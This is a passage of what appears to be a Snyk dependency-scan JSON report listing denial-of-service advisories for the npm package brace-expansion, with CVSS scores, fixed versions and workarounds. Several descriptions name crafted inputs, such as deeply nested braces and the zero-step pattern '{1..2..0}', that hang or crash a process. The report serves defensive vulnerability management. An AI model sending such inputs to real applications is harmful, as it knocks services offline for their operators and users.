"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
